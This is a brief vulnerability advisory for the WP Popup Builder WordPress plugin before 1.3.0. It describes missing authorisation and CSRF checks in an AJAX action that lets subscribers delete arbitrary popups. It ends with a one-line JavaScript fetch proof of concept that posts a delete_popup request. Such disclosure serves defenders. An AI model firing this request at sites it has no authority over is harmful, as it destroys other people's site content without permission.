WP Popup Builder < 1.3.0 - Subscriber+ Arbitrary Popup Deletion

The plugin does not have authorisation and CSRF check in an AJAX action, allowing any authenticated users, such as subscribers to delete arbitrary Popup

PoC

fetch(‘/wordpress/wp-admin/admin-ajax.php?action=delete_popup’, { method: ‘POST’,headers:{“content-type”:“application/x-www-form-urlencoded”}, body: “bid=1”, }).then(response => response.text()) .then(data => console.log(data));